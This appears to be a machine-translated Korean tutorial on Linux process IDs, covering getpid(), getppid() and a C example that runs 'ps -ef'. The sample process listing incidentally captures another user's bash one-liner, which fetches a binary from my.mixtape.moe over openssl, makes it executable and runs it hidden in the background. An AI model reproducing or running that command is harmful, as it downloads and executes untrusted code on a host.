공정 정보

프로세스 정보에 들어가기 전에 다음과 같은 몇 가지 사항을 알아야합니다.

프로세스 란 무엇입니까? 프로세스는 실행중인 프로그램입니다.

프로그램이란? 프로그램은 프로세스 정보와 런타임 동안 빌드하는 방법을 포함하는 파일입니다. 프로그램 실행을 시작하면 RAM에로드되어 실행을 시작합니다.

각 프로세스는 프로세스 ID 또는 단순히 PID (프로세스 식별 번호)라고하는 고유 한 양의 정수로 식별됩니다. 커널은 일반적으로 프로세스 ID를 구성 가능한 32767로 제한합니다. 프로세스 ID가이 한계에 도달하면 시스템 프로세스 범위 이후에 다시 재설정됩니다. 그런 다음 해당 카운터의 사용되지 않은 프로세스 ID가 새로 생성 된 프로세스에 할당됩니다.

시스템 호출 getpid ()는 호출 프로세스의 프로세스 ID를 반환합니다.

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

이 호출은 고유 한 호출 프로세스의 프로세스 ID를 반환합니다. 이 호출은 항상 성공하므로 오류를 나타내는 반환 값이 없습니다.

각 프로세스에는 프로세스 ID라는 고유 ID가 있지만 누가 만들었습니까? 제작자에 대한 정보를 얻는 방법은 무엇입니까? 생성자 프로세스를 부모 프로세스라고합니다. 부모 ID 또는 PPID는 getppid () 호출을 통해 얻을 수 있습니다.

시스템 호출 getppid ()는 호출 프로세스의 부모 PID를 반환합니다.

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

이 호출은 호출 프로세스의 부모 프로세스 ID를 반환합니다. 이 호출은 항상 성공하므로 오류를 나타내는 반환 값이 없습니다.

간단한 예를 들어 이해합시다.

다음은 호출 프로세스의 PID와 PPID를 알 수있는 프로그램입니다.

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

위의 프로그램을 컴파일하고 실행하면 다음과 같이 출력됩니다.

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

Note−“C”라이브러리 함수 system ()은 쉘 명령을 실행합니다. system ()에 전달 된 인수는 쉘에서 실행되는 명령입니다. 위 프로그램에서 명령은“ps”로 프로세스 상태를 알려줍니다.

실행중인 모든 프로세스에 대한 전체 정보 및 기타 시스템 관련 정보는 / proc 위치에있는 proc 파일 시스템에서 액세스 할 수 있습니다.